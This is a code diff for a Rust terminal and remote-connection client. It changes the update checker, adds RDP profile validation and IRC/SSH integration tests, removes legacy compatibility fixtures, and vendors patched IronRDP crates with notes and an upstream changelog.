//! Opt-in and check-only: nothing is downloaded or installed. Calls block; run them off the UI
|
//! The launch-time check honours `AppPreferences::check_for_updates`. Calls block; run them off
|
||||||
//! thread.
|
//! the UI thread.
|
||||||
|
|
||||||
use crate::Result;
|
use crate::Result;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
@@ -9,8 +9,6 @@ use std::time::Duration;
|
|||||||
|
|
||||||
/// Manifest URL template; expand with [`expand_update_url`].
|
/// Manifest URL template; expand with [`expand_update_url`].
|
||||||
pub const DEFAULT_UPDATE_URL: &str = "https://dixon.cx/downloads/nexus/manifest-{platform}-{arch}.json";
|
pub const DEFAULT_UPDATE_URL: &str = "https://dixon.cx/downloads/nexus/manifest-{platform}-{arch}.json";
|
||||||
const GITHUB_OWNER: &str = "nexus-terminal";
|
|
||||||
const GITHUB_REPO: &str = "nexus-terminal";
|
|
||||||
const USER_AGENT: &str = "NexusTerminal-UpdateChecker";
|
const USER_AGENT: &str = "NexusTerminal-UpdateChecker";
|
||||||
const REQUEST_TIMEOUT: Duration = Duration::from_secs(10);
|
const REQUEST_TIMEOUT: Duration = Duration::from_secs(10);
|
||||||
const MAX_UPDATE_RESPONSE_BYTES: usize = 1 << 20;
|
const MAX_UPDATE_RESPONSE_BYTES: usize = 1 << 20;
|
||||||
@@ -28,18 +26,6 @@ pub struct UpdateInfo {
|
|||||||
pub published_at: String,
|
pub published_at: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Deserialize, Default)]
|
|
||||||
#[serde(default)]
|
|
||||||
struct Release {
|
|
||||||
tag_name: String,
|
|
||||||
name: String,
|
|
||||||
html_url: String,
|
|
||||||
published_at: String,
|
|
||||||
body: String,
|
|
||||||
prerelease: bool,
|
|
||||||
draft: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Deserialize, Default)]
|
#[derive(Deserialize, Default)]
|
||||||
#[serde(default, rename_all = "camelCase")]
|
#[serde(default, rename_all = "camelCase")]
|
||||||
struct Manifest {
|
struct Manifest {
|
||||||
@@ -109,34 +95,6 @@ pub fn check_url(url: &str, current_version: &str) -> Result<UpdateInfo> {
|
|||||||
Ok(UpdateInfo { available: is_newer(&latest, ¤t), current_version: current, latest_version: latest, ..Default::default() })
|
Ok(UpdateInfo { available: is_newer(&latest, ¤t), current_version: current, latest_version: latest, ..Default::default() })
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Checks the latest GitHub release of `nexus-terminal/nexus-terminal`.
|
|
||||||
pub fn check_github(current_version: &str) -> Result<UpdateInfo> {
|
|
||||||
let current = normalise_version(current_version);
|
|
||||||
let url = format!("https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}/releases/latest");
|
|
||||||
let (status, body) = fetch(&url, "application/vnd.github+json")?;
|
|
||||||
if status == 404 {
|
|
||||||
// No releases yet.
|
|
||||||
return Ok(UpdateInfo { latest_version: current.clone(), current_version: current, ..Default::default() });
|
|
||||||
}
|
|
||||||
if status != 200 {
|
|
||||||
return Err(format!("updater: GitHub API returned {status}").into());
|
|
||||||
}
|
|
||||||
let release: Release = serde_json::from_slice(&body).map_err(|e| format!("updater: failed to decode response: {e}"))?;
|
|
||||||
let latest = normalise_version(&release.tag_name);
|
|
||||||
if release.draft || release.prerelease {
|
|
||||||
return Ok(UpdateInfo { current_version: current, latest_version: latest, ..Default::default() });
|
|
||||||
}
|
|
||||||
Ok(UpdateInfo {
|
|
||||||
available: is_newer(&latest, ¤t),
|
|
||||||
current_version: current,
|
|
||||||
latest_version: latest,
|
|
||||||
release_url: release.html_url,
|
|
||||||
release_name: release.name,
|
|
||||||
release_notes: truncate_notes(&release.body, 500),
|
|
||||||
published_at: release.published_at,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
fn normalise_version(v: &str) -> String {
|
fn normalise_version(v: &str) -> String {
|
||||||
let v = v.trim();
|
let v = v.trim();
|
||||||
v.strip_prefix('v').unwrap_or(v).to_string()
|
v.strip_prefix('v').unwrap_or(v).to_string()
|
||||||
@@ -184,20 +142,18 @@ fn leading_int(s: Option<&&str>) -> i64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Cuts at `max` bytes (backing off to a char boundary) and appends "…".
|
/// Cuts at `max` bytes (backing off to a char boundary) and appends "…".
|
||||||
fn truncate_notes(body: &str, max: usize) -> String {
|
|
||||||
if body.len() <= max {
|
|
||||||
return body.into();
|
|
||||||
}
|
|
||||||
let mut i = max;
|
|
||||||
while !body.is_char_boundary(i) {
|
|
||||||
i -= 1;
|
|
||||||
}
|
|
||||||
format!("{}…", &body[..i])
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_manifests_never_panic() {
|
||||||
|
let mut n = crate::Noise::new(0x9d);
|
||||||
|
for _ in 0..5000 {
|
||||||
|
let body = n.bytes(200, br#"{}[]":,0123456789.vlatestVersionreleaseURL"#);
|
||||||
|
let _ = parse_manifest(&body, "1.2.3");
|
||||||
|
}
|
||||||
|
}
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
|
|
||||||
/// Serves one HTTP response on a random local port; returns its URL.
|
/// Serves one HTTP response on a random local port; returns its URL.
|
||||||
@@ -247,15 +203,6 @@ mod tests {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn truncates_notes() {
|
|
||||||
assert_eq!(truncate_notes("Short note", 100), "Short note");
|
|
||||||
let got = truncate_notes(&"x".repeat(600), 500);
|
|
||||||
assert!(got.ends_with('…'));
|
|
||||||
assert_eq!(got.chars().count(), 501);
|
|
||||||
assert_eq!(truncate_notes("aé", 2), "a…");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn expands_url_template() {
|
fn expands_url_template() {
|
||||||
let u = expand_update_url(DEFAULT_UPDATE_URL);
|
let u = expand_update_url(DEFAULT_UPDATE_URL);
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
//! host-key policy, line endings, forward direction, protocol) can't hold invalid values in Rust,
|
//! host-key policy, line endings, forward direction, protocol) can't hold invalid values in Rust,
|
||||||
//! so the Go checks for those are enforced by the types instead.
|
//! so the Go checks for those are enforced by the types instead.
|
||||||
|
|
||||||
use crate::models::{GitHubConfig, IrcConfig, Profile, Protocol, RawConfig, SerialConfig, SshConfig, TelnetConfig, VncConfig};
|
use crate::models::{GitHubConfig, IrcConfig, Profile, Protocol, RawConfig, RdpConfig, SerialConfig, SshConfig, TelnetConfig, VncConfig};
|
||||||
use serde::Serialize;
|
use serde::Serialize;
|
||||||
use std::fmt;
|
use std::fmt;
|
||||||
|
|
||||||
@@ -100,6 +100,13 @@ pub fn validate_profile(p: &Profile) -> Result<(), ValidationErrors> {
|
|||||||
None => errs.add("vnc", "VNC configuration is required for VNC protocol"),
|
None => errs.add("vnc", "VNC configuration is required for VNC protocol"),
|
||||||
Some(c) => errs.merge(validate_vnc_config(&p.host, c)),
|
Some(c) => errs.merge(validate_vnc_config(&p.host, c)),
|
||||||
},
|
},
|
||||||
|
Protocol::Rdp => {
|
||||||
|
host_port(&mut errs, &p.host, p.port);
|
||||||
|
match &p.rdp {
|
||||||
|
None => errs.add("rdp", "RDP configuration is required for RDP protocol"),
|
||||||
|
Some(c) => errs.merge(validate_rdp_config(c)),
|
||||||
|
}
|
||||||
|
}
|
||||||
Protocol::Irc => {
|
Protocol::Irc => {
|
||||||
host_port(&mut errs, &p.host, p.port);
|
host_port(&mut errs, &p.host, p.port);
|
||||||
match &p.irc {
|
match &p.irc {
|
||||||
@@ -310,6 +317,32 @@ pub fn validate_vnc_config(profile_host: &str, cfg: &VncConfig) -> Result<(), Va
|
|||||||
errs.into_result()
|
errs.into_result()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn validate_rdp_config(cfg: &RdpConfig) -> Result<(), ValidationErrors> {
|
||||||
|
let mut errs = ValidationErrors::default();
|
||||||
|
for (field, v) in [("rdp.width", cfg.width), ("rdp.height", cfg.height)] {
|
||||||
|
if v != 0 && !(200..=8192).contains(&v) {
|
||||||
|
errs.add(field, "desktop size must be 0 (fit the tab) or 200–8192 pixels");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
match cfg.proxy_type.as_str() {
|
||||||
|
"" | "none" => {}
|
||||||
|
"socks5" | "http" => {
|
||||||
|
errs.check("rdp.proxyHost", validate_host(&cfg.proxy_host));
|
||||||
|
if cfg.proxy_port != 0 {
|
||||||
|
errs.check("rdp.proxyPort", validate_port(cfg.proxy_port));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t => errs.add("rdp.proxyType", format!("unsupported proxy type {t:?}")),
|
||||||
|
}
|
||||||
|
if cfg.ssh_tunnel {
|
||||||
|
if !matches!(cfg.proxy_type.as_str(), "" | "none") {
|
||||||
|
errs.add("rdp.proxyType", "use either a proxy or an SSH tunnel, not both");
|
||||||
|
}
|
||||||
|
ssh_tunnel(&mut errs, "rdp", &cfg.ssh_host, cfg.ssh_port, &cfg.ssh_username, &cfg.ssh_auth_method);
|
||||||
|
}
|
||||||
|
errs.into_result()
|
||||||
|
}
|
||||||
|
|
||||||
fn ssh_tunnel(errs: &mut ValidationErrors, p: &str, host: &str, port: i64, user: &str, auth: &str) {
|
fn ssh_tunnel(errs: &mut ValidationErrors, p: &str, host: &str, port: i64, user: &str, auth: &str) {
|
||||||
errs.check(&format!("{p}.sshHost"), validate_host(host));
|
errs.check(&format!("{p}.sshHost"), validate_host(host));
|
||||||
errs.check(&format!("{p}.sshPort"), validate_port(port));
|
errs.check(&format!("{p}.sshPort"), validate_port(port));
|
||||||
@@ -399,6 +432,22 @@ fn is_valid_channel(ch: &str) -> bool {
|
|||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rdp_profiles() {
|
||||||
|
let mut p = Profile::new(Protocol::Rdp);
|
||||||
|
p.host = "win.example".into();
|
||||||
|
p.normalize();
|
||||||
|
assert!(validate_profile(&p).is_ok(), "{:?}", validate_profile(&p).err().map(|e| e.to_string()));
|
||||||
|
let c = p.rdp.as_mut().unwrap();
|
||||||
|
c.width = 100;
|
||||||
|
c.proxy_type = "socks5".into();
|
||||||
|
c.ssh_tunnel = true;
|
||||||
|
let msg = validate_profile(&p).unwrap_err().to_string();
|
||||||
|
for want in ["rdp.width", "rdp.proxyHost", "rdp.sshHost", "not both"] {
|
||||||
|
assert!(msg.contains(want), "{want}: {msg}");
|
||||||
|
}
|
||||||
|
}
|
||||||
use crate::models::{JumpHost, PayloadPreset};
|
use crate::models::{JumpHost, PayloadPreset};
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|||||||
Vendored
-12
@@ -1,12 +0,0 @@
|
|||||||
# Compatibility fixtures
|
|
||||||
|
|
||||||
Generated by the last Go build of Alchementary Link with `cmd/genfixtures` (see commit f588a79,
|
|
||||||
`git show f588a79:cmd/genfixtures/main.go`). Nexus Terminal must keep reading them unchanged:
|
|
||||||
|
|
||||||
- `link.db` — a database through migration 006 with every protocol, a known host, a snippet,
|
|
||||||
IRC channel state and preferences.
|
|
||||||
- `vault/vault.json` — a vault whose master password is `correct horse battery staple`.
|
|
||||||
- `profiles.link` — an encrypted export with password `export-pass`.
|
|
||||||
- `recordings/rec1.cast` — an asciicast v2 recording.
|
|
||||||
|
|
||||||
Don't regenerate them; they are the reference for data written by the old app.
|
|
||||||
Vendored
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -1,3 +0,0 @@
|
|||||||
{"version":2,"width":80,"height":24,"timestamp":1791633486,"title":"Fixture — host","env":{"TERM":"xterm-256color"}}
|
|
||||||
[0.000139144,"o","hello \u001b[1mworld\u001b[0m\r\n"]
|
|
||||||
[0.000212149,"i","ls\r"]
|
|
||||||
-8
@@ -1,8 +0,0 @@
|
|||||||
{
|
|
||||||
"version": 1,
|
|
||||||
"salt": "uiC19v2mCz7XglOtlQwJgDe80p37X5XueedOqm2Av+w=",
|
|
||||||
"secrets": {
|
|
||||||
"profile:00000000-0000-0000-0000-000000000001:password": "MknPyD86GxFdJZipFyhRL8YiqkywXMP7JxD5PuVjgblss2zuloQ=",
|
|
||||||
"profile:00000000-0000-0000-0000-000000000001:totp": "DDeIJ7scepaK9ctzh46JDRuB9XRfMG7BMfDnqkwsMEuGdW6blJTddiJVVi4="
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,12 +2,13 @@
|
|||||||
|
|
||||||
use nexus_core::models::{Profile, Protocol, SessionState};
|
use nexus_core::models::{Profile, Protocol, SessionState};
|
||||||
use nexus_core::secrets::{Keychain, Secrets, Vault};
|
use nexus_core::secrets::{Keychain, Secrets, Vault};
|
||||||
use nexus_core::sessions::{Event, Manager};
|
use nexus_core::sessions::{Event, HostKeyDecision, Manager};
|
||||||
use nexus_core::storage::Store;
|
use nexus_core::storage::Store;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::io::{Read, Write};
|
use std::io::{Read, Write};
|
||||||
use std::net::TcpListener;
|
use std::net::TcpListener;
|
||||||
|
use std::sync::Arc;
|
||||||
use std::sync::mpsc;
|
use std::sync::mpsc;
|
||||||
use std::sync::{Arc, Mutex};
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
fn manager(name: &str) -> (Arc<Manager>, mpsc::Receiver<Event>, std::path::PathBuf) {
|
fn manager(name: &str) -> (Arc<Manager>, mpsc::Receiver<Event>, std::path::PathBuf) {
|
||||||
@@ -15,12 +16,12 @@ fn manager(name: &str) -> (Arc<Manager>, mpsc::Receiver<Event>, std::path::PathB
|
|||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
std::fs::create_dir_all(&dir).unwrap();
|
std::fs::create_dir_all(&dir).unwrap();
|
||||||
let store = Arc::new(Store::open(&dir.join("nexus.db")).unwrap());
|
let store = Arc::new(Store::open(&dir.join("nexus.db")).unwrap());
|
||||||
let secrets = Arc::new(Secrets { vault: Vault::new(dir.join("vault")), keychain: Keychain::new("NexusTerminalTest", None), keychain_ok: false });
|
let secrets = Arc::new(Secrets { vault: Vault::new(dir.join("vault")), keychain: Keychain::new("NexusTerminalTest"), keychain_ok: false });
|
||||||
let m = Manager::new(store, secrets, dir.join("recordings"));
|
let m = Manager::new(store, secrets, dir.join("recordings"));
|
||||||
let (tx, rx) = mpsc::channel();
|
let (tx, rx) = mpsc::channel();
|
||||||
let tx = Mutex::new(tx);
|
let tx = Mutex::new(tx);
|
||||||
m.set_sink(Arc::new(move |e| {
|
m.set_sink(Arc::new(move |e| {
|
||||||
let _ = tx.lock().unwrap().send(e);
|
let _ = tx.lock().send(e);
|
||||||
}));
|
}));
|
||||||
(m, rx, dir)
|
(m, rx, dir)
|
||||||
}
|
}
|
||||||
@@ -34,7 +35,7 @@ fn wait<T>(rx: &mpsc::Receiver<Event>, mut f: impl FnMut(&Event) -> Option<T>) -
|
|||||||
return t;
|
return t;
|
||||||
}
|
}
|
||||||
if let Event::HostKeyVerify { reply, .. } = e {
|
if let Event::HostKeyVerify { reply, .. } = e {
|
||||||
let _ = reply.send(true);
|
let _ = reply.send(HostKeyDecision::AcceptAndSave);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -125,3 +126,81 @@ fn connect_failure_reports_error_state() {
|
|||||||
assert!(err.starts_with(&id) && err.len() > id.len() + 1, "{err}");
|
assert!(err.starts_with(&id) && err.len() > id.len() + 1, "{err}");
|
||||||
let _ = std::fs::remove_dir_all(dir);
|
let _ = std::fs::remove_dir_all(dir);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// NickServ identification happens on every registration, including auto-reconnects, and a
|
||||||
|
/// session-only NickServ password is asked once, not again for the reconnect.
|
||||||
|
#[test]
|
||||||
|
fn irc_reconnect_identifies_with_nickserv_again() {
|
||||||
|
use std::io::{BufRead, BufReader};
|
||||||
|
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||||
|
let (m, rx, dir) = manager("irc-nickserv");
|
||||||
|
let l = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||||
|
let port = l.local_addr().unwrap().port();
|
||||||
|
let identified = Arc::new(AtomicUsize::new(0));
|
||||||
|
let seen = identified.clone();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
for (n, s) in l.incoming().flatten().enumerate() {
|
||||||
|
let mut w = s.try_clone().unwrap();
|
||||||
|
let mut r = BufReader::new(s);
|
||||||
|
let mut line = String::new();
|
||||||
|
// Registration, then welcome.
|
||||||
|
while r.read_line(&mut line).unwrap_or(0) > 0 {
|
||||||
|
if line.starts_with("USER ") {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
line.clear();
|
||||||
|
}
|
||||||
|
w.write_all(b":srv 001 nexus :Welcome\r\n").unwrap();
|
||||||
|
line.clear();
|
||||||
|
while r.read_line(&mut line).unwrap_or(0) > 0 {
|
||||||
|
if line == "PRIVMSG NickServ :IDENTIFY acct pw-once\r\n" {
|
||||||
|
seen.fetch_add(1, Ordering::SeqCst);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
line.clear();
|
||||||
|
}
|
||||||
|
// First connection: hang up so the session auto-reconnects. Second: stay open.
|
||||||
|
if n == 0 {
|
||||||
|
drop(w);
|
||||||
|
} else {
|
||||||
|
std::thread::sleep(Duration::from_secs(30));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
let mut p = Profile::new(Protocol::Irc);
|
||||||
|
p.host = "127.0.0.1".into();
|
||||||
|
p.port = port as i64;
|
||||||
|
let c = p.irc.as_mut().unwrap();
|
||||||
|
c.nick_serv_identify = true;
|
||||||
|
c.nick_serv_account = "acct".into();
|
||||||
|
c.nick_serv_mode = nexus_core::models::SecretMode::SessionOnly;
|
||||||
|
c.auto_reconnect = true;
|
||||||
|
let id = m.connect(p);
|
||||||
|
let prompts = Arc::new(AtomicUsize::new(0));
|
||||||
|
let answer = |e: &Event| {
|
||||||
|
if let Event::SecretPrompt { reply, .. } = e {
|
||||||
|
prompts.fetch_add(1, Ordering::SeqCst);
|
||||||
|
let _ = reply.send("pw-once".into());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
wait(&rx, |e| {
|
||||||
|
answer(e);
|
||||||
|
state(e, SessionState::Connected)
|
||||||
|
});
|
||||||
|
wait(&rx, |e| {
|
||||||
|
answer(e);
|
||||||
|
matches!(e, Event::State { state: SessionState::Reconnecting, .. }).then_some(())
|
||||||
|
});
|
||||||
|
wait(&rx, |e| {
|
||||||
|
answer(e);
|
||||||
|
state(e, SessionState::Connected)
|
||||||
|
});
|
||||||
|
let deadline = std::time::Instant::now() + Duration::from_secs(5);
|
||||||
|
while identified.load(Ordering::SeqCst) < 2 && std::time::Instant::now() < deadline {
|
||||||
|
std::thread::sleep(Duration::from_millis(20));
|
||||||
|
}
|
||||||
|
assert_eq!(identified.load(Ordering::SeqCst), 2, "IDENTIFY sent on both registrations");
|
||||||
|
assert_eq!(prompts.load(Ordering::SeqCst), 1, "session-only password asked once");
|
||||||
|
m.disconnect(&id).unwrap();
|
||||||
|
let _ = std::fs::remove_dir_all(dir);
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,11 +5,12 @@ use nexus_core::clients::Callbacks;
|
|||||||
use nexus_core::clients::sftp;
|
use nexus_core::clients::sftp;
|
||||||
use nexus_core::clients::ssh::{HostKeyCheck, SshClient};
|
use nexus_core::clients::ssh::{HostKeyCheck, SshClient};
|
||||||
use nexus_core::models::{ForwardDirection, JumpHost, PortForward, Profile, Protocol};
|
use nexus_core::models::{ForwardDirection, JumpHost, PortForward, Profile, Protocol};
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::io::{Read, Write};
|
use std::io::{Read, Write};
|
||||||
use std::net::{TcpListener, TcpStream};
|
use std::net::{TcpListener, TcpStream};
|
||||||
use std::path::{Path, PathBuf};
|
use std::path::{Path, PathBuf};
|
||||||
use std::process::{Child, Command};
|
use std::process::{Child, Command};
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
use std::time::{Duration, Instant};
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
struct Server {
|
struct Server {
|
||||||
@@ -87,7 +88,7 @@ fn callbacks() -> (Callbacks, Seen) {
|
|||||||
let seen: Seen = Arc::default();
|
let seen: Seen = Arc::default();
|
||||||
let s2 = seen.clone();
|
let s2 = seen.clone();
|
||||||
let mut cb = Callbacks::noop();
|
let mut cb = Callbacks::noop();
|
||||||
cb.on_data = Arc::new(move |d| s2.lock().unwrap().extend_from_slice(d));
|
cb.on_data = Arc::new(move |d| s2.lock().extend_from_slice(d));
|
||||||
(cb, seen)
|
(cb, seen)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -96,7 +97,7 @@ fn accept_all() -> (HostKeyCheck, Arc<Mutex<Vec<String>>>) {
|
|||||||
let f2 = fps.clone();
|
let f2 = fps.clone();
|
||||||
(
|
(
|
||||||
Arc::new(move |i| {
|
Arc::new(move |i| {
|
||||||
f2.lock().unwrap().push(format!("{} {}", i.key_type, i.fingerprint));
|
f2.lock().push(format!("{} {}", i.key_type, i.fingerprint));
|
||||||
Ok(())
|
Ok(())
|
||||||
}),
|
}),
|
||||||
fps,
|
fps,
|
||||||
@@ -106,7 +107,7 @@ fn accept_all() -> (HostKeyCheck, Arc<Mutex<Vec<String>>>) {
|
|||||||
fn wait_for(seen: &Seen, needle: &str) -> bool {
|
fn wait_for(seen: &Seen, needle: &str) -> bool {
|
||||||
let start = Instant::now();
|
let start = Instant::now();
|
||||||
while start.elapsed() < Duration::from_secs(10) {
|
while start.elapsed() < Duration::from_secs(10) {
|
||||||
if String::from_utf8_lossy(&seen.lock().unwrap()).contains(needle) {
|
if String::from_utf8_lossy(&seen.lock()).contains(needle) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
std::thread::sleep(Duration::from_millis(50));
|
std::thread::sleep(Duration::from_millis(50));
|
||||||
@@ -160,11 +161,11 @@ fn shell_exec_forwards_sftp() {
|
|||||||
let (check, fps) = accept_all();
|
let (check, fps) = accept_all();
|
||||||
let c = SshClient::new(&profile(&s), cb);
|
let c = SshClient::new(&profile(&s), cb);
|
||||||
c.connect(check, None, None).unwrap();
|
c.connect(check, None, None).unwrap();
|
||||||
assert!(fps.lock().unwrap()[0].starts_with("ssh-ed25519 SHA256:"));
|
assert!(fps.lock()[0].starts_with("ssh-ed25519 SHA256:"));
|
||||||
|
|
||||||
c.resize(120, 40).unwrap();
|
c.resize(120, 40).unwrap();
|
||||||
c.write(b"echo nexus-$((40+2)) $COLUMNS\n").unwrap();
|
c.write(b"echo nexus-$((40+2)) $COLUMNS\n").unwrap();
|
||||||
assert!(wait_for(&seen, "nexus-42"), "shell output: {}", String::from_utf8_lossy(&seen.lock().unwrap()));
|
assert!(wait_for(&seen, "nexus-42"), "shell output: {}", String::from_utf8_lossy(&seen.lock()));
|
||||||
assert_eq!(c.run_command("echo hi").unwrap(), "hi");
|
assert_eq!(c.run_command("echo hi").unwrap(), "hi");
|
||||||
assert!(c.ping().unwrap() >= 0);
|
assert!(c.ping().unwrap() >= 0);
|
||||||
|
|
||||||
@@ -222,16 +223,16 @@ fn close_fires_once_and_remote_exit_closes() {
|
|||||||
let (mut cb, _) = callbacks();
|
let (mut cb, _) = callbacks();
|
||||||
let n = Arc::new(Mutex::new(0));
|
let n = Arc::new(Mutex::new(0));
|
||||||
let n2 = n.clone();
|
let n2 = n.clone();
|
||||||
cb.on_close = Arc::new(move || *n2.lock().unwrap() += 1);
|
cb.on_close = Arc::new(move || *n2.lock() += 1);
|
||||||
let c = SshClient::new(&profile(&s), cb);
|
let c = SshClient::new(&profile(&s), cb);
|
||||||
c.connect(accept_all().0, None, None).unwrap();
|
c.connect(accept_all().0, None, None).unwrap();
|
||||||
c.write(b"exit\n").unwrap();
|
c.write(b"exit\n").unwrap();
|
||||||
let start = Instant::now();
|
let start = Instant::now();
|
||||||
while *n.lock().unwrap() == 0 && start.elapsed() < Duration::from_secs(10) {
|
while *n.lock() == 0 && start.elapsed() < Duration::from_secs(10) {
|
||||||
std::thread::sleep(Duration::from_millis(50));
|
std::thread::sleep(Duration::from_millis(50));
|
||||||
}
|
}
|
||||||
c.close();
|
c.close();
|
||||||
assert_eq!(*n.lock().unwrap(), 1);
|
assert_eq!(*n.lock(), 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
@@ -252,7 +253,7 @@ fn jump_host_chain() {
|
|||||||
let (check, fps) = accept_all();
|
let (check, fps) = accept_all();
|
||||||
let c = SshClient::new(&p, Callbacks::noop());
|
let c = SshClient::new(&p, Callbacks::noop());
|
||||||
c.connect(check, None, None).unwrap();
|
c.connect(check, None, None).unwrap();
|
||||||
assert_eq!(fps.lock().unwrap().len(), 2, "jump and target both verified");
|
assert_eq!(fps.lock().len(), 2, "jump and target both verified");
|
||||||
assert_eq!(c.run_command("echo via-jump").unwrap(), "via-jump");
|
assert_eq!(c.run_command("echo via-jump").unwrap(), "via-jump");
|
||||||
c.close();
|
c.close();
|
||||||
}
|
}
|
||||||
@@ -281,6 +282,6 @@ fn agent_auth_and_forwarding() {
|
|||||||
let cl = SshClient::new(&p, cb);
|
let cl = SshClient::new(&p, cb);
|
||||||
cl.connect(accept_all().0, None, None).unwrap();
|
cl.connect(accept_all().0, None, None).unwrap();
|
||||||
cl.write(b"ssh-add -l >/dev/null && echo agent-$((1+1))-ok\n").unwrap();
|
cl.write(b"ssh-add -l >/dev/null && echo agent-$((1+1))-ok\n").unwrap();
|
||||||
assert!(wait_for(&seen, "agent-2-ok"), "forwarded agent not usable: {}", String::from_utf8_lossy(&seen.lock().unwrap()));
|
assert!(wait_for(&seen, "agent-2-ok"), "forwarded agent not usable: {}", String::from_utf8_lossy(&seen.lock()));
|
||||||
cl.close();
|
cl.close();
|
||||||
}
|
}
|
||||||
|
|||||||
Vendored
+19
@@ -0,0 +1,19 @@
|
|||||||
|
# Vendored crates
|
||||||
|
|
||||||
|
Patched copies used through `[patch.crates-io]` in `rust/Cargo.toml`. Remove each once an
|
||||||
|
IronRDP release includes the fix it carries.
|
||||||
|
|
||||||
|
| Crate | Upstream | Change |
|
||||||
|
|---|---|---|
|
||||||
|
| `picky` | 7.0.0-rc.25 (crates.io) | `=x.y.z-rc.N` RustCrypto pins relaxed to `^x.y.z-rc.N` (so the stable releases russh uses satisfy them); one unused import removed. |
|
||||||
|
| `sspi` | 0.21.3 (crates.io) | Same pin relaxation. |
|
||||||
|
| `ironrdp-session` | 0.11.0 (crates.io) | Upstream fixes not yet released: #1486 "preserve bitmap source stride" (commit `80bb81b344`, applied as-is) and the RDP6 orientation flip from #1524 (`8f1737a287`). Without them xrdp desktops render sheared and upside-down tile by tile. |
|
||||||
|
|
||||||
|
Why: IronRDP pins `picky = "=7.0.0-rc.25"`, which pins `curve25519-dalek = "=5.0.0-rc.1"` and
|
||||||
|
other release candidates; russh needs the stable `curve25519-dalek 5`, and Cargo can't build two
|
||||||
|
semver-compatible versions of one crate. With the pins relaxed both resolve to the stable
|
||||||
|
releases, and the `picky` and `sspi` unit suites (402 tests) pass against them.
|
||||||
|
|
||||||
|
The `ironrdp-session` fixes are verified by the live test in `core/src/clients/rdp.rs`
|
||||||
|
(`NEXUS_RDP_TEST="host port user password"`), run against xrdp; the published crate ships no
|
||||||
|
unit tests.
|
||||||
+214
@@ -0,0 +1,214 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.11.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.10.0...ironrdp-session-v0.11.0)] - 2026-07-10
|
||||||
|
|
||||||
|
### <!-- 0 -->Security
|
||||||
|
|
||||||
|
- [**breaking**] Send NetworkAutoDetect over the MCS message channel ([#1348](https://github.com/Devolutions/IronRDP/issues/1348)) ([8a1fd0118e](https://github.com/Devolutions/IronRDP/commit/8a1fd0118e0bac214c9050b6ca6b36a040046dd3))
|
||||||
|
|
||||||
|
Corrects Network Auto-Detect framing and routing to match MS-RDPBCGR by
|
||||||
|
moving it off the I/O channel slow-path Share Data PDUs and onto the MCS
|
||||||
|
message channel with the required Basic Security Header
|
||||||
|
(SEC_AUTODETECT_REQ / SEC_AUTODETECT_RSP). This aligns IronRDP with
|
||||||
|
mstsc/xfreerdp behavior and enables both connect-time and continuous
|
||||||
|
auto-detection to actually function.
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Propagate caller location through error constructor helpers ([#1392](https://github.com/Devolutions/IronRDP/issues/1392)) ([d6990d81a1](https://github.com/Devolutions/IronRDP/commit/d6990d81a17e8349e52768ad8a82f673b1e1462d))
|
||||||
|
|
||||||
|
The error constructor helpers in several crates wrap the #[track_caller]
|
||||||
|
ironrdp_error::Error::new, but were not themselves marked
|
||||||
|
#[track_caller]. As a result, the captured location pointed at the
|
||||||
|
helper body instead of the real call site, giving misleading "@
|
||||||
|
file:line" info in error reports.
|
||||||
|
|
||||||
|
